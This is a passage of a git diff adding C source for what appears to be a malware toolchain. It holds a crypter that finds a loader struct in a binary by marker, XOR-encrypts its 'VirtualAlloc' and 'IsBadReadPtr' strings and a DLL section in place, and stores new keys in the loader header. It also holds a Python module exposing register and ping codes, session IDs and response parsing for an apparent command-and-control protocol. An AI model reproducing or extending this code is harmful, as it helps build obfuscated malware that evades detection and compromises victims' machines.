+ for (i = 0; i < siz-(siz%3); i+=3) {
+ base64_block_encode(&plain[i], &tmp[j]);
+ j += 4;
+ }
+
+ if (padded > 0) {
+ char pad[3] = { 0x00, 0x00, 0x00 };
+ for (i = 0; i < 3-padded; ++i) {
+ pad[i] = plain[siz-(siz%3)+i];
+ }
+
+ base64_block_encode(&pad[0], &tmp[j]);
+
+ for (i = 0; i < padded; ++i) {
+ tmp[j+3-i] = '=';
+ }
+ }
+
+ if (newsizptr)
+ *newsizptr = newsiz;
+ return tmp;
+}
+
+static inline int xor32_crypt(uint32_t u32, uint32_t key)
+{
+ return u32 ^ key;
+}
+
+static uint32_t xor32_crypt_buf(uint32_t* buf, uint32_t siz, uint32_t key)
+{
+ uint32_t pad = siz % sizeof(key);
+ if (pad) {
+ siz += sizeof(key) - pad;
+ }
+ uint32_t msiz = (uint32_t)(siz/sizeof(key));
+
+ for (register uint32_t i = 0; i < msiz; ++i) {
+ buf[i] = xor32_crypt(buf[i], key);
+ }
+ return siz;
+}
+
+static uint32_t xor32_pcbc_encrypt_buf(uint32_t* buf, uint32_t siz, uint32_t iv, uint32_t key)
+{
+ uint32_t pad = siz % sizeof(key);
+ if (pad) {
+ siz += sizeof(key) - pad;
+ }
+ uint32_t msiz = (uint32_t)(siz/sizeof(key));
+
+ register uint32_t prev = iv;
+ for (register uint32_t i = 0; i < msiz; ++i) {
+ register uint32_t plain = buf[i];
+ register uint32_t tmp = xor32_crypt(plain, prev);
+ register uint32_t crypt = xor32_crypt(tmp, key);
+ prev = xor32_crypt(crypt, plain);
+ buf[i] = crypt;
+ }
+ return siz;
+}
+
+static void xor32_pcbc_decrypt_buf(uint32_t* buf, uint32_t siz, uint32_t iv, uint32_t key)
+{
+ uint32_t msiz = (uint32_t)(siz/sizeof(key));
+
+ register uint32_t prev = iv;
+ for (register uint32_t i = 0; i < msiz; ++i) {
+ register uint32_t crypt = buf[i];
+ register uint32_t tmp = xor32_crypt(crypt, key);
+ register uint32_t plain = xor32_crypt(tmp, prev);
+ prev = xor32_crypt(crypt, plain);
+ buf[i] = plain;
+ }
+}
+
+static ssize_t search_endmarker(unsigned char* buf, size_t siz, size_t *found_ptr)
+{
+ size_t endmarker_siz = sizeof(loader_endmarker)/sizeof(loader_endmarker[0]);
+ size_t real_siz = (siz - (siz % endmarker_siz));
+ size_t marker_idx = 0, found = 0;
+ ssize_t offset = -1;
+
+ for (size_t i = 0; i < real_siz; ++i) {
+ if (buf[i] == loader_endmarker[marker_idx++]) {
+ if (marker_idx == endmarker_siz) {
+ offset = i - (endmarker_siz - 1);
+ marker_idx = 0;
+ found++;
+ }
+ } else marker_idx = 0;
+ }
+ if (found_ptr)
+ *found_ptr = found;
+ if (found != 1) {
+ return -1;
+ }
+ return offset;
+}
+
+static unsigned char* parse_hex_str(const char* hex_str, size_t* newsiz)
+{
+ const char* pos = hex_str;
+ size_t len = strlen(hex_str);
+
+ *newsiz = len/2;
+ unsigned char* bin = calloc(*newsiz, sizeof(char));
+ size_t i = 0;
+ bool skip_next = false;
+
+ while ( *pos != '\0' ) {
+ if (!skip_next) {
+ if (sscanf(pos, "%2hhx", &bin[i]) == 1) {
+ pos++;
+ if (tolower(*pos) != 'x') {
+ i++;
+ }
+ skip_next = true;
+ continue;
+ }
+ } else skip_next = false;
+ pos++;
+ }
+ *newsiz = i;
+ return bin;
+}
+
+static void bswap32_endianess(unsigned char* bytebuf, size_t siz)
+{
+ if (siz % 4 != 0) {
+ return;
+ }
+ for (size_t i = 0; i < siz; i+=4) {
+ unsigned char highest_byte = bytebuf[i];
+ unsigned char higher_byte = bytebuf[i+1];
+ bytebuf[i] = bytebuf[i+3];
+ bytebuf[i+1] = bytebuf[i+2];
+ bytebuf[i+2] = higher_byte;
+ bytebuf[i+3] = highest_byte;
+ }
+}
+
+
+enum emode { E_NONE = 0, E_BASE64, E_XOR32, E_XOR32PCBC, E_XOR32NPCBC };
+enum dmode { D_NONE = 0, D_CRYPT_SZVA, D_CRYPT_SZIB, D_CRYPT_SECTION };
+
+struct options {
+ bool verbose;
+ bool print_buffer;
+ enum emode encmode;
+ uint32_t ivkeysize;
+ char* outfile;
+ char* infile;
+ unsigned char* inkey;
+ size_t keysize;
+ unsigned char* iniv;
+ size_t ivsize;
+ bool ldrmod;
+ off_t ldroffset;
+ enum dmode crpmode;
+ char* ldr_dll;
+ off_t dlloffset;
+ size_t dllsize;
+ bool dryrun;
+} app_options;
+
+static const struct option long_options[] = {
+ {"verbose", no_argument, 0, 'v'},
+ {"print-buffer", no_argument, 0, 'p'},
+ {"outfile", required_argument, 0, 'o'},
+ {"xor32", no_argument, 0, 1 },
+ {"xor32pcbc", no_argument, 0, 2 },
+ {"xor32npcbc", no_argument, 0, 3 },
+ {"ivkeysize", required_argument, 0, 'k'},
+ {"base64", no_argument, 0, 4 },
+ {"key", required_argument, 0, 'e'},
+ {"iv", required_argument, 0, 'i'},
+ {"loader-offset", required_argument, 0, 'l'},
+ {"loader-va", no_argument, 0, 5 },
+ {"loader-ib", no_argument, 0, 6 },
+ {"dll-file", required_argument, 0, 'f'},
+ {"dll-hdr", required_argument, 0, 7 },
+ {"dll-section", required_argument, 0, 8 },
+ {"dry-run", no_argument, 0, 'd'},
+ {NULL, 0, 0, 0}
+};
+enum {
+ OPTDLL_OFFSET = 0, OPTDLL_SIZE,
+ OPTDLL_MAX
+};
+static char* dllsubopts[] = {
+ [OPTDLL_OFFSET] = "offset",
+ [OPTDLL_SIZE] = "size",
+ NULL
+};
+static const char const* options_help[] = {
+ "more output",
+ "print encrypted/decrypted binary buffers (hex format; massive output!)",
+ "output file",
+ "simple and unsecure 32-bit xor cipher",
+ "unsecure xor32-bit block cipher",
+ "secure xor(32*n)-bit block cipher",
+ "iv and key size for cipher",
+ "base64 (en|de)coder",
+ "set a key which should be 4*n bytes long",
+ "same behavior as key",
+ "binary offset to loader endmarker (see: include/loader.h)",
+ "encrypt loader string: strVirtualAlloc",
+ "encrypt loader string: strIsBadReadPtr",
+ "path to dll binary",
+ "encrypt dll header",
+ "encrypt dll section (requires argument offset and size)",
+ "dont write anything to disk"
+};
+static const char const opt_fmt[] = "vpo:k:e:i:l:f:dh";
+
+void
+print_usage(char* arg0)
+{
+ fprintf(stderr, "usage: %s [OPTIONS] [INPUTFILE]\n\twhere options can be:\n", arg0);
+ const size_t alen = (sizeof(long_options)-sizeof(long_options[0])) / sizeof(long_options[0]);
+ for (size_t i = 0; i < alen; ++i) {
+ int hlen = ((int)strlen(options_help[i]) + 15) - (int)strlen(long_options[i].name);
+ char shortopt = (char)long_options[i].val;
+ printf("\t\t");
+ if (isalpha(shortopt) != 0) {
+ printf("-%c,", shortopt);
+ } else {
+ hlen += 3;
+ }
+ printf("--%s", long_options[i].name);
+ if (long_options[i].has_arg == required_argument) {
+ printf(" [arg]");
+ } else {
+ hlen += 6;
+ }
+ printf("%*s\n", hlen, options_help[i]);
+ }
+}
+
+void
+check_loader_arg(char* arg0)
+{
+ if (app_options.crpmode != D_NONE) {
+ fprintf(stderr, "%s: loader crypt mode already set, only ONE allowed\n", arg0);
+ exit(1);
+ }
+}
+
+void
+parse_arguments(int argc, char** argv)
+{
+ int c;
+
+ if (argc <= 1) {
+ print_usage(argv[0]);
+ exit(1);
+ }
+
+ memset(&app_options, '\0', sizeof(app_options));
+ while (1) {
+ int optind = 0;
+ char* endptr = NULL;
+
+ c = getopt_long(argc, argv, opt_fmt, long_options, &optind);
+ if (c == -1)
+ break;
+
+ switch(c) {
+ case 'v':
+ app_options.verbose = true;
+ break;
+ case 'p':
+ app_options.print_buffer = true;
+ break;
+ case 'o':
+ app_options.outfile = strdup(optarg);
+ break;
+ case 1:
+ app_options.encmode = E_XOR32;
+ break;
+ case 2:
+ app_options.encmode = E_XOR32PCBC;
+ break;
+ case 3:
+ app_options.encmode = E_XOR32NPCBC;
+ break;
+ case 'k':
+ errno = 0;
+ app_options.ivkeysize = strtoul(optarg, &endptr, 10);
+ if (errno == ERANGE || errno == EINVAL || *endptr != '\0' || app_options.ivkeysize < 1) {
+ fprintf(stderr, "%s: ivkeysize not an unsigned decimal aka size_t\n", argv[0]);
+ exit(1);
+ }
+ break;
+ case 4:
+ app_options.encmode = E_BASE64;
+ break;
+ case 'e':
+ app_options.inkey = parse_hex_str(optarg, &app_options.keysize);
+ if (app_options.inkey == NULL) {
+ fprintf(stderr, "%s: not a valid byte-aligned hex string: %s\n", argv[0], optarg);
+ exit(1);
+ }
+ break;
+ case 'i':
+ app_options.iniv = parse_hex_str(optarg, &app_options.ivsize);
+ if (app_options.iniv == NULL) {
+ fprintf(stderr, "%s: not a valid byte-aligned hex string: %s\n", argv[0], optarg);
+ exit(1);
+ }
+ break;
+ case 'l':
+ errno = 0;
+ app_options.ldroffset = (size_t)strtoul(optarg, &endptr, 10);
+ if (errno == ERANGE || errno == EINVAL || *endptr != '\0') {
+ fprintf(stderr, "%s: ldroffset not an unsigned decimal aka size_t\n", argv[0]);
+ exit(1);
+ }
+ app_options.ldrmod = true;
+ break;
+ case 5:
+ check_loader_arg(argv[0]);
+ app_options.crpmode = D_CRYPT_SZVA;
+ break;
+ case 6:
+ check_loader_arg(argv[0]);
+ app_options.crpmode = D_CRYPT_SZIB;
+ break;
+ case 'f':
+ app_options.ldr_dll = strdup(optarg);
+ break;
+ case 7:
+ check_loader_arg(argv[0]);
+ app_options.crpmode = D_CRYPT_SECTION;
+ errno = 0;
+ app_options.dlloffset = 0;
+ app_options.dllsize = strtoul(optarg, &endptr, 10);
+ if (errno == ERANGE || errno == EINVAL || *endptr != '\0' || app_options.dllsize < 1) {
+ fprintf(stderr, "%s: dll header size is not an unsigned decimal aka size_t\n", argv[0]);
+ exit(1);
+ }
+ break;
+ case 8:
+ check_loader_arg(argv[0]);
+ app_options.crpmode = D_CRYPT_SECTION;
+ char* subopts = optarg;
+ char* value = NULL;
+ int errfnd = 0;
+ int opt;
+ while (*subopts != '\0' && !errfnd) {
+ errno = 0;
+ switch ( (opt = getsubopt(&subopts, dllsubopts, &value)) ) {
+ case OPTDLL_OFFSET:
+ if (value)
+ app_options.dlloffset = strtoul(value, &endptr, 10);
+ break;
+ case OPTDLL_SIZE:
+ if (value)
+ app_options.dllsize = strtoul(value, &endptr, 10);
+ break;
+ default:
+ fprintf(stderr, "%s: no match found for token: \"%s\"\n", argv[0], value);
+ errfnd = 1;
+ continue;
+ }
+ if (value == NULL) {
+ fprintf(stderr, "%s: missing value for subopt %s\n", argv[0], dllsubopts[opt]);
+ errfnd = 1;
+ }
+ if (errno == ERANGE || errno == EINVAL || *endptr != '\0') {
+ fprintf(stderr, "%s: dll subopt \"%s\" is not a valid unsigned decimal\n", argv[0], dllsubopts[opt]);
+ errfnd = 1;
+ }
+ }
+ if (app_options.dlloffset < 1 || app_options.dllsize < 1) {
+ fprintf(stderr, "%s: dll-section requires subopts %s and %s\n", argv[0], dllsubopts[OPTDLL_OFFSET], dllsubopts[OPTDLL_SIZE]);
+ errfnd = 1;
+ }
+ if (errfnd) {
+ exit(1);
+ }
+ break;
+ case 'd':
+ app_options.dryrun = true;
+ break;
+
+ case 'h':
+ default:
+ print_usage(argv[0]);
+ exit(1);
+ }
+ }
+
+ while (optind < argc) {
+ if (app_options.infile == NULL) {
+ app_options.infile = strdup(argv[optind++]);
+ } else {
+ fprintf(stderr, "%s: non argv elements\n", argv[optind++]);
+ exit(1);
+ }
+ }
+
+ if (app_options.infile == NULL) {
+ fprintf(stderr, "%s: no input file\n", argv[0]);
+ exit(1);
+ }
+ if (app_options.outfile) {
+ if (strcmp(app_options.infile, app_options.outfile) == 0) {
+ fprintf(stderr, "%s: input file and output file should be two different files\n", argv[0]);
+ exit(1);
+ }
+ }
+
+ switch (app_options.encmode) {
+ case E_NONE:
+ fprintf(stderr, "%s: no mode set\n", argv[0]);
+ exit(1);
+ case E_XOR32:
+ if (app_options.iniv != NULL) {
+ fprintf(stderr, "%s: iv is not allowed in this mode\n", argv[0]);
+ exit(1);
+ }
+ case E_XOR32PCBC:
+ if (app_options.ivkeysize != 0) {
+ fprintf(stderr, "%s: setting --ivkeysize not allowed in this mode (ivkeysize=1!)\n", argv[0]);
+ exit(1);
+ }
+ app_options.ivkeysize = 1;
+ if ((app_options.inkey != NULL && app_options.keysize != 4) ||
+ (app_options.iniv != NULL && app_options.ivsize != 4)) {
+ fprintf(stderr, "%s: --iv/--key size MUST be 4 bytes e.g. 0xdeadc0de\n", argv[0]);
+ exit(1);
+ }
+ break;
+ case E_XOR32NPCBC:
+ if (app_options.crpmode != D_NONE)
+ break;
+ if (!app_options.inkey && !app_options.iniv && app_options.ivkeysize == 0) {
+ fprintf(stderr, "%s: missing ivkeysize\n", argv[0]);
+ exit(1);
+ }
+ if ((app_options.inkey != NULL && app_options.keysize % 4 != 0) ||
+ (app_options.iniv != NULL && app_options.ivsize % 4 != 0)) {
+ fprintf(stderr, "%s: --iv/--key size MUST be 4*n bytes e.g. 0xdeadc0dedeadbeef\n", argv[0]);
+ exit(1);
+ }
+ if (app_options.inkey != NULL && app_options.iniv != NULL &&
+ app_options.keysize != app_options.ivsize) {
+ fprintf(stderr, "%s: --iv/--key size MUST be equal\n", argv[0]);
+ exit(1);
+ }
+ if (app_options.inkey != NULL) {
+ app_options.ivkeysize = app_options.keysize / 4;
+ } else if (app_options.iniv != NULL) {
+ app_options.ivkeysize = app_options.ivsize / 4;
+ }
+ break;
+ case E_BASE64:
+ if (app_options.inkey != NULL ||
+ app_options.iniv != NULL ||
+ app_options.ivkeysize != 0) {
+ fprintf(stderr, "%s: --iv/--key/--ivkeysize not allowed in base64 mode\n", argv[0]);
+ exit(1);
+ }
+ break;
+ }
+ if (app_options.crpmode != D_NONE) {
+ if (app_options.encmode != E_XOR32NPCBC) {
+ fprintf(stderr, "%s: loader modifications only work with xor32npcbc\n", argv[0]);
+ exit(1);
+ }
+ if (app_options.ivkeysize != 0) {
+ fprintf(stderr, "%s: setting key/iv size not allowed in this mode\n", argv[0]);
+ exit(1);
+ }
+ if (app_options.crpmode == D_CRYPT_SECTION) {
+ if (app_options.ldr_dll == NULL) {
+ fprintf(stderr, "%s: missing dll file\n", argv[0]);
+ exit(1);
+ }
+ app_options.ivkeysize = LOADER_IVKEYLEN;
+ } else {
+ app_options.ivkeysize = LOADER_STR_IVKEYLEN;
+ }
+ if (app_options.crpmode != D_CRYPT_SECTION && app_options.outfile) {
+ fprintf(stderr, "%s: loader modification is done directly at the input binary, --outfile superfluous\n", argv[0]);
+ exit(1);
+ }
+ }
+ if (app_options.inkey != NULL) {
+ if (app_options.ldrmod == true) {
+ if (app_options.keysize != 12) {
+ fprintf(stderr, "%s: keysize must be 12 byte for loader string encryption\n", argv[0]);
+ exit(1);
+ }
+ }
+ bswap32_endianess(app_options.inkey, app_options.keysize);
+ }
+ if (app_options.iniv != NULL) {
+ if (app_options.ldrmod == true) {
+ if (app_options.ivsize != 12) {
+ fprintf(stderr, "%s: ivsize must be 12 byte for loader string encryption\n", argv[0]);
+ exit(1);
+ }
+ }
+ bswap32_endianess(app_options.iniv, app_options.ivsize);
+ }
+}
+
+int main(int argc, char** argv)
+{
+ parse_arguments(argc, argv);
+ srandom(time(NULL));
+ errno = 0;
+
+ int ret = 0;
+ size_t siz = 0;
+ char* buf = mapfile(app_options.infile, &siz);
+ size_t orgsiz = siz;
+ char* orgbuf = buf;
+ bool print_crypted_str = false;
+ char* dllbuf = NULL;
+
+ if (buf) {
+ if (app_options.ldrmod == false) {
+ size_t found = 0;
+ ssize_t offset = search_endmarker((unsigned char*)buf, siz, &found);
+ if (found != 1) {
+ fprintf(stderr, "%s: loader marker search error (found: %lu, offset: %ld (0x%X))\n", argv[0], found, offset, (unsigned int)offset);
+ exit(1);
+ }
+ if (app_options.verbose) {
+ printf("%s: loader marker found at offset %ld (0x%X)\n", argv[0], offset, (unsigned int)offset);
+ }
+ app_options.ldroffset = offset;
+ app_options.ldrmod = true;
+ }
+
+ /* get loader struct */
+ struct loader_x86_data* ldr = NULL;
+ if (app_options.ldrmod == true) {
+ if (memcmp((void*)(orgbuf + app_options.ldroffset),
+ (void*)loader_endmarker,
+ sizeof(loader_endmarker)/sizeof(loader_endmarker[0])) == 0) {
+ ldr = (struct loader_x86_data*)(orgbuf +
+ app_options.ldroffset +
+ sizeof(uint32_t) - sizeof(struct loader_x86_data));
+
+ if (memcmp((void*)&ldr->endMarker,
+ (void*)loader_endmarker,
+ sizeof(loader_endmarker)/sizeof(loader_endmarker[0])) != 0) {
+ fprintf(stderr, "%s: loader marker found, but not present after typecast, check loader struct in include/loader.h\n", argv[0]);
+ exit(1);
+ }
+
+ char* chk = NULL;
+ if (app_options.crpmode == D_CRYPT_SZVA) {
+ buf = ldr->strVirtualAlloc;
+ siz = (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) -
+ (1 * sizeof(ldr->strVirtualAlloc[0]));
+ chk = buf;
+ } else if (app_options.crpmode == D_CRYPT_SZIB) {
+ buf = ldr->strIsBadReadPtr;
+ siz = (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) -
+ (1 * sizeof(ldr->strIsBadReadPtr[0]));
+ chk = buf;
+ } else if (app_options.crpmode == D_CRYPT_SECTION) {
+ dllbuf = buf = mapfile(app_options.ldr_dll, &siz);
+ buf += app_options.dlloffset;
+ siz = app_options.dllsize;
+ if (!buf) {
+ fprintf(stderr, "%s: could not map dll file into memory\n", argv[0]);
+ perror("mapfile");
+ exit(1);
+ }
+ }
+ if (chk)
+ for (size_t i = 0; i < siz; ++i)
+ if (isalpha(buf[i]) == 0) {
+ fprintf(stderr, "%s: non ascii character found in loader string, already encrypted?\n", argv[0]);
+ fprintf(stderr, "%s: forcing --dry-run\n", argv[0]);
+ app_options.dryrun = true;
+ print_crypted_str = true;
+ break;
+ }
+
+ uint32_t tmp[app_options.ivkeysize];
+ memset(&tmp[0], '\0', app_options.ivkeysize*sizeof(uint32_t));
+ if (memcmp(&tmp[0], &ldr->key[0], app_options.ivkeysize*sizeof(uint32_t)) != 0) {
+ if (app_options.inkey) {
+ fprintf(stderr, "%s: loader->key is not NULL, but --key set?\n", argv[0]);
+ exit(1);
+ } else {
+ app_options.inkey = calloc(app_options.ivkeysize, sizeof(uint32_t));
+ memcpy(app_options.inkey, &ldr->key[0], app_options.ivkeysize*sizeof(uint32_t));
+ }
+ }
+ if (memcmp(&tmp[0], &ldr->iv[0], app_options.ivkeysize*sizeof(uint32_t)) != 0) {
+ if (app_options.iniv) {
+ fprintf(stderr, "%s: loader->iv is not NULL, but --iv set?\n", argv[0]);
+ exit(1);
+ } else {
+ app_options.iniv = calloc(app_options.ivkeysize, sizeof(uint32_t));
+ memcpy(app_options.iniv, &ldr->iv[0], app_options.ivkeysize*sizeof(uint32_t));
+ }
+ }
+ } else {
+ fprintf(stderr, "%s: loader offset set, but no endmarker found\n", argv[0]);
+ exit(1);
+ }
+ }
+
+ if (app_options.print_buffer) {
+ printf("Buffer (Size: %lu):\n", siz);
+ printbytebuf(buf, siz, 78, app_options.verbose);
+ }
+
+ size_t newsiz = 0;
+ char* cryptd = NULL;
+ uint32_t key[app_options.ivkeysize];
+ uint32_t iv[app_options.ivkeysize];
+ memset(&key[0], '\0', app_options.ivkeysize*sizeof(uint32_t));
+ memset(&iv[0], '\0', app_options.ivkeysize*sizeof(uint32_t));
+
+ /* copy key/iv if there are any */
+ if (app_options.inkey != NULL) {
+ memcpy(&key[0], app_options.inkey, app_options.ivkeysize*sizeof(uint32_t));
+ }
+ if (app_options.iniv != NULL) {
+ memcpy(&iv[0], app_options.iniv, app_options.ivkeysize*sizeof(uint32_t));
+ }
+
+ /* otherwise generate random iv/key if neccessary */
+ for (uint32_t i = 0; i < app_options.ivkeysize; ++i) {
+ while (iv[i] == 0) { iv[i] = random(); }
+ while (key[i] == 0) { key[i] = random(); }
+ }
+
+ /* update loader header */
+ if (ldr && !app_options.dryrun) {
+ memcpy(&ldr->key[0], &key[0], app_options.ivkeysize*sizeof(uint32_t));
+ memcpy(&ldr->iv[0], &iv[0], app_options.ivkeysize*sizeof(uint32_t));
+ }
+
+ /* encrypt */
+ switch (app_options.encmode) {
+ case E_BASE64:
+ cryptd = base64_encode(buf, siz, &newsiz);
+ break;
+ case E_XOR32:
+ case E_XOR32PCBC:
+ cryptd = calloc(siz + 2*sizeof(uint32_t), sizeof(char));
+ memcpy(cryptd, buf, siz);
+ if (app_options.encmode == E_XOR32) {
+ if (app_options.verbose) {
+ printf("Xor32Key: %08X\n", key[0]);
+ }
+ newsiz = xor32_crypt_buf((uint32_t*)cryptd, siz, key[0]);
+ } else {
+ if (app_options.verbose) {
+ printf("Xor32pcbcKey: %08X\tIV: %08X\n", key[0], iv[0]);
+ }
+ newsiz = xor32_pcbc_encrypt_buf((uint32_t*)cryptd, siz, iv[0], key[0]);
+ }
+ break;
+ case E_XOR32NPCBC:
+ cryptd = calloc(siz + (app_options.ivkeysize)*sizeof(uint32_t), sizeof(char));
+ memcpy(cryptd, buf, siz);
+ if (app_options.verbose) {
+ printf("Xor32npcbcKey/IV:\n");
+ for (uint32_t i = 0; i < app_options.ivkeysize; ++i) {
+ printf("%08X / %08X\n", key[i], iv[i]);
+ }
+ }
+ newsiz = xor32n_pcbc_crypt_buf((uint32_t*)cryptd, siz, &iv[0], &key[0], app_options.ivkeysize);
+ break;
+ case E_NONE:
+ default:
+ break;
+ }
+
+ if (app_options.print_buffer) {
+ printf("Encoded (Size: %lu):\n", newsiz);
+ printbytebuf(cryptd, newsiz, 78, app_options.verbose);
+ }
+
+ /* decrypt (and check if algorithm works correctly) */
+ switch (app_options.encmode) {
+ case E_XOR32:
+ case E_XOR32PCBC:
+ case E_XOR32NPCBC: {
+ char* tmp = calloc(newsiz, sizeof(char));
+ memcpy(tmp, cryptd, newsiz);
+ if (app_options.encmode == E_XOR32) {
+ newsiz = xor32_crypt_buf((uint32_t*)tmp, newsiz, key[0]);
+ } else if (app_options.encmode == E_XOR32PCBC) {
+ xor32_pcbc_decrypt_buf((uint32_t*)tmp, newsiz, iv[0], key[0]);
+ } else {
+ xor32n_pcbc_crypt_buf((uint32_t*)tmp, newsiz, &iv[0], &key[0], app_options.ivkeysize);
+ }
+ if (app_options.print_buffer) {
+ printf("Decoded (Size: %lu):\n", siz);
+ printbytebuf(tmp, siz, 78, app_options.verbose);
+ }
+ if (memcmp(tmp, buf, siz) != 0) {
+ ret = 1;
+ fprintf(stderr, "%s: ERROR: original buffer and decrypted buffer differs!\n", argv[0]);
+ }
+ free(tmp);
+ }
+ case E_BASE64:
+ case E_NONE:
+ default:
+ break;
+ }
+
+ /* generate output file */
+ if (app_options.outfile) {
+ ssize_t written = 0;
+ errno = 0;
+ if ((written = writebuf(app_options.outfile, (unsigned char*)cryptd, newsiz)) != newsiz) {
+ fprintf(stderr, "%s could not write to output file (%lu/%lu bytes written)\n", argv[0], written, newsiz);
+ perror("write");
+ }
+ }
+
+ /* update loader strings/dll section */
+ if (!app_options.dryrun &&
+ (app_options.crpmode == D_CRYPT_SZVA ||
+ app_options.crpmode == D_CRYPT_SZIB ||
+ app_options.crpmode == D_CRYPT_SECTION)) {
+ memcpy(buf, (unsigned char*)cryptd, newsiz);
+ }
+ if (print_crypted_str) {
+ printf("String: %*s\n", (int)newsiz, cryptd);
+ }
+
+ /* unmap files and free memory */
+ free(cryptd);
+ errno = 0;
+ if (app_options.crpmode == D_CRYPT_SECTION && munmap(dllbuf, siz) != 0) {
+ fprintf(stderr, "%s: err while unmapping loder dll\n", argv[0]);
+ perror("munmap");
+ ret = 1;
+ }
+ errno = 0;
+ if (munmap(orgbuf, orgsiz) != 0) {
+ perror("munmap");
+ ret = 1;
+ }
+ } else {
+ ret = 1;
+ perror("mapfile");
+ }
+
+ if (ret == 0) {
+ printf("%s: succeeded\n", argv[0]);
+ }
+ return ret;
+}
diff --git a/source/tools/host/old/pyhttp.c b/source/tools/host/old/pyhttp.c
new file mode 100644
index 0000000..b66576f
--- /dev/null
+++ b/source/tools/host/old/pyhttp.c
@@ -0,0 +1,188 @@
+/*
+ * Module: pyhttp.c
+ * Author: Toni Uhlig <matzeton@googlemail.com>
+ * Purpose: Python loadable module for http codes/flags
+ */
+
+#include "helper.h" /* must be the first include if compiling a python module */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "compat.h"
+#include "http.h"
+#include "xor_strings.h" /* DLLSECTION */
+
+
+static const char pname[] = "pyhttp";
+
+
+static PyObject* info(PyObject* self, PyObject* args)
+{
+ printf("%s: http codes/flags\n", pname);
+ Py_RETURN_NONE;
+}
+
+#define PYDICT_SET_CMACRO(name, obj) PyDict_SetItemString( dict, name, obj );
+#define PYDICT_SETI_CMACRO(mname) { PyObject* pyval = Py_BuildValue("I", mname); if (pyval) { PYDICT_SET_CMACRO( #mname, pyval ); Py_DECREF(pyval); } }
+#define PYDICT_SETS_CMACRO(mname) { PyObject* pyval = Py_BuildValue("s", mname); if (pyval) { PYDICT_SET_CMACRO( #mname, pyval ); Py_DECREF(pyval); } }
+static PyObject* __http_getCodes(PyObject* self, PyObject* args)
+{
+ PyObject* dict = PyDict_New();
+ PYDICT_SETI_CMACRO(RC_INFO);
+ PYDICT_SETI_CMACRO(RC_REGISTER);
+ PYDICT_SETI_CMACRO(RC_PING);
+ return dict;
+}
+
+static PyObject* __http_getCodeSiz(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("I", sizeof(rrcode));
+}
+
+static PyObject* __http_getFlags(PyObject* self, PyObject* args)
+{
+ PyObject* dict = PyDict_New();
+ PYDICT_SETI_CMACRO(RF_AGAIN);
+ PYDICT_SETI_CMACRO(RF_ERROR);
+ PYDICT_SETI_CMACRO(RF_OK);
+
+ return dict;
+}
+
+static PyObject* __http_getFlagSiz(PyObject* self, PyObject* args)
+{
+ return Py_BuildValue("I", sizeof(rflags));
+}
+
+static PyObject* __http_getConsts(PyObject* self, PyObject* args)
+{
+ PyObject* dict = PyDict_New();
+ PYDICT_SETS_CMACRO(DLLSECTION);
+ PYDICT_SETI_CMACRO(SID_LEN);
+ PYDICT_SETI_CMACRO(SID_ZEROES0);
+ PYDICT_SETI_CMACRO(SID_ZEROES1);
+ PYDICT_SETI_CMACRO(MARKER_SIZ);
+ PYDICT_SETI_CMACRO(RND_LEN);
+ PYDICT_SETI_CMACRO(AESKEY_SIZ);
+
+ return dict;
+}
+
+static PyObject* __http_parseResponse(PyObject* self, PyObject* args)
+{
+ PyObject* ctxRecvBuffer = NULL;
+ PyObject* ctxStartMarker = NULL;
+ Py_buffer recvBuffer = {0}, startMarker = {0};
+ PyObject* rList = Py_BuildValue("[]");
+
+ if (! PyArg_ParseTuple(args, "O|O:parseResponse", &ctxRecvBuffer, &ctxStartMarker) ||
+ ! ctxRecvBuffer || ! ctxStartMarker) {
+ PyErr_SetString(PyExc_TypeError, "Invalid arguments");
+ PyErr_Print();
+ return NULL;
+ }
+
+ if (PyObject_GetBuffer(ctxRecvBuffer, &recvBuffer, PyBUF_SIMPLE) < 0 ||
+ PyObject_GetBuffer(ctxStartMarker, &startMarker, PyBUF_SIMPLE) < 0) {
+ PyErr_SetString(PyExc_TypeError, "Argument types are not buffer objects");
+ PyErr_Print();
+ goto finalize;
+ }
+ if (recvBuffer.len <= 0) {
+ PyErr_Format(PyExc_RuntimeError, "Invalid buffer length: %u", (unsigned)recvBuffer.len);
+ PyErr_Print();
+ goto finalize;
+ }
+ if (startMarker.len != MARKER_SIZ) {
+ PyErr_Format(PyExc_TypeError, "Marker size is not exactly %u bytes: %u bytes", MARKER_SIZ, (unsigned)startMarker.len);
+ PyErr_Print();
+ goto finalize;
+ }
+
+ off_t bufOff = 0;
+ http_resp* hResp = NULL;
+ while (parseResponse(recvBuffer.buf, recvBuffer.len, &hResp, &bufOff, startMarker.buf) == RSP_OK &&
+ hResp) {
+ PyObject* tuple = Py_BuildValue("(s#BHIs#)", hResp->startMarker, MARKER_SIZ,
+ hResp->respFlags, hResp->respCode, hResp->pkgsiz, &hResp->pkgbuf[0], hResp->pkgsiz);
+ PyList_Append(rList, tuple);
+ Py_DECREF(tuple);
+ }
+
+finalize:
+ if (recvBuffer.buf != NULL)
+ PyBuffer_Release(&recvBuffer);
+ if (startMarker.buf != NULL)
+ PyBuffer_Release(&startMarker);
+ return rList;
+}
+
+static PyObject* __http_addRequest(PyObject* self, PyObject* args)
+{
+ struct http_resp* hResp = NULL;
+ PyObject* ctxBuf;
+ PyObject* ctxResp;
+ Py_buffer pkgBuf = {0}, httpResp = {0};
+ PyObject* retBuf = NULL;
+
+ if (! PyArg_ParseTuple(args, "O|O:addRequest", &ctxBuf, &ctxResp) ||
+ ! ctxBuf || ! ctxResp) {
+ PyErr_SetString(PyExc_TypeError, "Invalid arguments");
+ return NULL;
+ }
+
+ if (PyObject_GetBuffer(ctxBuf, &pkgBuf, PyBUF_SIMPLE) < 0 ||
+ PyObject_GetBuffer(ctxResp, &httpResp, PyBUF_SIMPLE) < 0) {
+ PyErr_SetString(PyExc_TypeError, "Argument types are not buffer objects");
+ PyErr_Print();
+ goto finalize;
+ }
+
+ hResp = (struct http_resp*)httpResp.buf;
+ if (httpResp.len != sizeof(struct http_resp) + hResp->pkgsiz) {
+ PyErr_Format(PyExc_RuntimeError, "Invalid http_resp size: %lu (required: %lu + %u)", httpResp.len, sizeof(struct http_resp), hResp->pkgsiz);
+ PyErr_Print();
+ goto finalize;
+ }
+
+ rrsize send_siz = pkgBuf.len;
+ rrbuff send_buf = COMPAT(calloc)(send_siz, sizeof(*send_buf));
+ if (! send_buf)
+ goto finalize;
